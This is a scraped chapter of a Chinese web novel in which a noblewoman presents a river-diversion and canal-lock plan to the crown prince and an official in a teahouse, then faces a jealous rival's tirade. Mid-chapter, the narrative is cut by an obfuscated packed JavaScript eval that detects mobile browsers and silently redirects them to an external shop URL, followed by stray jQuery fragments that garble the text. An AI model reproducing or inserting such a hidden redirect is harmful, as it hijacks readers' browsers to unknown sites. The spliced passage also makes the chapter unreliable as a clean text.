文趣网 > 其他小说 > 且趁余花八万春 > 12. 治河之策
    第十二章:治河之策

    次日,为了避开萧慕辰,李序秋带着琼华早早地出了门,又去到当初打探消息的那家茶楼。

    果然不过多久,陆怀盈下早朝后准时到茶楼吃早点,不过他身旁还多出一位少年,虽然只见过一面,那份矜贵的气质让人难忘,正是当朝太子萧慕川。

    二人一进楼,店小二就招呼上去,说道有人在二楼雅间等着陆大人。

    陆怀盈有些狐疑,就他这张怼遍朝中大臣的嘴,谁还会想请他吃饭啊?

    刚踏上二楼,见到戴着斗笠的李序秋,这倒是意外。

    这人越是正经,就越容易让人想歪,平日二人忙着办事也没那个闲工夫尴尬,反而稍有闲暇时,偏偏想起李序秋一杯倒拉住他裤脚,喊对方绰号的娇憨,心里一丝浮躁。

    【畜生啊。】陆怀盈在心里骂。

    萧慕川率先坐下,打趣道:“我还纳闷呢,雪生啥时候交上一位大方的朋友,原来是你啊三皇嫂。”

    “太子殿下。”李序秋行礼。

    “嫂嫂不必拘礼。”

    萧慕川将手中的折扇放下,夹起一块糕点品尝一口,回味到什么好事似的,嘴角勾起一抹笑。

    “说起来,自嫂嫂你出嫁,咱们三个好久没有这么聚过,小时候你虽然不愿意叫怀盈兄的表字,倒是时常唤我凤至。”

    “说那些做甚,人家还还有半分眼神给我们。”

    说到此处,陆怀盈就气不打一处来,眼睛翻得比桌上的馒头还有发白,拿起筷子往桌面戳齐,夹起一块肉蘸茶水吃下。

    李序秋心下了然,原来原主不光与陆怀盈是青梅竹马,还和太子有着一同长大的情谊,难怪上次宴请京中富商绅豪,太子愿意出面组局。

    “嗐,你们就当我以前神智不清吧。”李序秋听出来二位揶揄原主恋爱脑的往事,也不想计较。

    “嫂嫂,你梦中真遇到金圣娘娘?”萧慕川疑惑问,“要不然,我还真想不通为何有如此变化。”

    “自然是真的。”李序秋当然不会否认,“金圣娘娘的故事在京中广为流传,殿下未曾听闻?”

    “听倒是听过,只是这些神祈......”萧慕川想了下,“嗐,反正啊,咱们敬着供着,总不会错,总能得个庇佑。”

    萧慕川似懂非懂,看透又想不透的模样,惹得李序秋嘴角都快压不住,这就跟与小学生说:“我来自奥特星球,是奥特曼在地球上的代言人”是一个道理。

    生怕自己真憋不住笑出来,李序秋赶紧岔开话题,谈起正事。

    “陆大人,前几日托你将各地水域图搜罗来,我已经有了各自的对应这策,这是我绘制的水利图。”

    陆怀盈接过李序秋递来的图纸,刚开始只是随意翻看,越琢磨越不对劲,越深究越觉得可行,甚至是天才的想法。

    面色也从不经意,到蹙眉认真,再难以置信,最后恍然大悟,佩服之至。

    萧慕川从陆怀盈蹙眉时就忍不住从他手里拿了一份阅览,本以为陆怀盈眉头紧皱是不认同方案。

    其实他心里也觉得李序秋并没有治水的才能,要说上次招募集资,那毕竟李序秋的外祖家是富商,小时候耳濡目染。

    “绝!”

    萧慕川忍不住拍桌叫好,哈哈大笑:“嫂嫂,你怎么想出这么绝妙的方法的?”

    “自然是金圣娘娘告诉我的,”李序秋说,“在梦里,我把水患大致情况告诉她,得到了点化。”

    “哦?”萧慕川好奇宝宝似的盯着李序秋,“那嫂嫂能讲解一二?”

    问到治水,李序秋眼睛雪亮,小的时候爷爷带她去三观参观大坝,从此对水利工程非常感兴趣,查了不少资料拓展。

    李序秋拿起一根筷子蘸茶水,在桌子上画了两条线,说道:“殿下请看,这条好比是历山县的历江,另一条就如横川县的横河。”

    一边说着一边以水为墨,作图分析。

    “历山地势高,水量大,如果挖渠道将历江引至较低的横河,这不就能起到泄洪的作用?”

    “姑娘说得轻巧,这么简单的方法,三岁小儿都能想得到。”

    旁桌的汉子听完李序秋的方法,嗤笑一声,满是不屑:“如此拆东墙补西墙的做法,怎么,横川县老百姓的命就不是命?”

    “同为苍生,自然同等重要。”李序秋道,”看来先生也是心系苍生,仗义正直之辈,不如先听我说完。”

    那粗衣汉子冷吭一声,虽然面上不屑将头扭转,举着包子不紧不慢的吃着,耳朵却是对着李序秋那桌。

    “若将历江之水尽数引至横江,地势高低落差,确实会引发横川县的水患,可是......”李序秋在蘸点水,在历江与横川渠道链接处,画处一个类似子母“Y”。

    “如若将历江之水,一分为二,分为南北两渠,只取一部分引至横河,就能在汛期起到泄洪作用了。”

    “甚秒!”萧慕川拿起折扇往手中拍打,随即又发出疑问,“不过,为何是设计成这样的形状,不是更省事?而且历江一旦阻断,旧道没水,下游黎民如何灌溉水田地?”

    “这是因为水势有摧枯拉朽的力量,”陆怀盈接话道,“如果是“人字”型,长久以往,大坝必然会被水冲垮。”

    “如果修建一个铧嘴,”陆怀盈将手指往桌面上点了点,“不仅能分流江水,还能起到保护大坝的作用。至于百姓灌溉,自然要挖一条新的,缓和的新河道。”

    “陆大人聪明。”李序秋鼓掌道。

    陆怀盈死命压住因表扬而上翘的嘴,将手里的半块糕点扔进嘴里:“还行吧,多读点书就行。”

    李序秋也不戳破陆怀盈闷骚,她想要是陆怀盈有条尾巴,估计要巧到天上去。

    这时,方才那位不屑人仁兄手里抓着几个肉包子,有些好奇的走来旁听,仔细观察桌面上的图画。”

    “历山县与横川县同为大县,如果两县之间能通水运,必然能促进商贸往来。”李序秋继续道,“这就是此设计的第二层妙用。”

    “等等,姑娘。”

    那汉子将半个肉包子从嘴里扯出来,另一半囫囵两下吞肚,忙道,“两县之间地势落差,商船从历江去往横河倒是好说,这又如何从横河逆行道历江?”

    李序秋卖关子笑而不答,又蘸茶水在桌上画辅助线,画完才开口。

    “诸位请看,如果我们在南北两渠修建斗门,蓄水行船,自然可以通行了。”

    “巧夺天工,真是巧夺天工啊!”那汉子大喊起来,“要是能实施,得省了两县之间贸易多少行程,如此设计,对两县百利啊。”

    “秒,秒,秒。”萧慕川连夸三聚

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17720860|208639||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    ,一声比一声高,“我这就找可靠的工部官吏,就按嫂嫂的这些法子去办。”

    “那殿下一定要找信得过的,切不可是中饱私囊,滥竽充数之辈。”

    “放心放心,我心里有数。”萧慕川打包票。

    “听三位交谈,怕不是京中父母官?不瞒三位,我正是横县人氏,在当地也腆有威望,乡亲们抬举喊一声陈爷,要是三位真去修水利,我陈二愿意贡献一份力量。”

    “如此,那多谢陈二兄弟。”萧慕川拱手道。

    “我是来京中做生意的,有些忙碌不便多留,要是有官差去修水利,尽管报我名,大家伙儿都知道,好找,我先告辞。”

    “慢走。”三人起身相送。

    等陈二走后,桌上的茶点也已经凉了,陆怀盈倒是吃得差不多,而萧慕川光顾着聊事去了。

    琼华便让店小二再上几份。

    可先来的不是店小二,而是气势汹汹的一位女子,眉目嗔怒,抬脚就将旁边的板凳踢得老远。

    “李序秋,你这个扫把星,要不是因为你,我姐姐与姐夫也不会吵架。”

    李序秋想了想,哦,这姑娘就是昨天那骄纵的许家二小姐,许青青的妹妹,许娇娇。

    “大胆!”琼华一声喝斥。

    “摆什么王妃的普,没人要的弃妇而已,”许娇娇才不怕,蛮横极了,“既然你如此放荡,与两名男子在这里调情抡调的,干嘛还吊着姐夫大清早去将军府接你回家?”

    “你知不知道,为了劝阻姐夫不要因你的事和老王妃吵架,她差点早产,你说你是不是扫把星?”

    “这位姑娘,”陆怀盈气急反笑,吊儿郎当地掸着衣袍上的灰尘,戏谑问:“我们是关窗了还是闭户了,光天化日的,这上上下下来来往往的人你都看不见啊,有眼疾?”

    “你......”

    “我我我,我什么我,还有啊,人家王妃娘娘嫁人了都知道避嫌带着斗笠,你一个未出阁的姑娘倒是爽快露面,举止粗鄙。”

    “我说你们两家莫不是家风癫乱,李家是武将出身斯斯文文的,你许家自称文人清贵,我看家风刁蛮得很呐。”

    语调不忘取笑一翻,惹得在场的吃客哄堂大笑。

    “你......”徐娇娇眼见嘴巴上讨不到好处,又是被男子当众说一顿,满面通红,气道,“你也是个读书的,怎可拿女子家风说事,你这个不知礼仪的卑鄙下流,本小姐不同你讲。”

    “李序秋,你要是敢回永嘉王府,你给我等着。”

    “好啊,”李序秋自然不会惯着这位大小姐脾气,虽然她不情愿回永嘉王府,但是面上也不能掉价。

    “我等着。”

    许娇娇气得一跺脚,用衣袖遮着头愠怒下楼。

    三人交谈水利图治后,李序秋本想回自己的月掬园,但是奈何小儿子萧珩还在将军府,得先去接孩子。

    前脚刚踏进将军府,后脚张璐芳就迎上来,眉梢忍不住喜悦,拉着李序秋的手痛快极了。

    “风水轮流转呐,妹妹,你听说没有,京中现在到处传许青青肚子里的种,是在营里怀的。”

    “诶哟,这军中到处的男子,怎么不惹人闲话,”张璐芳又下压嗓子附耳,“谁知道是怎么怀的。”

    “诶哟真痛快,也该让她尝尝你的苦楚了。”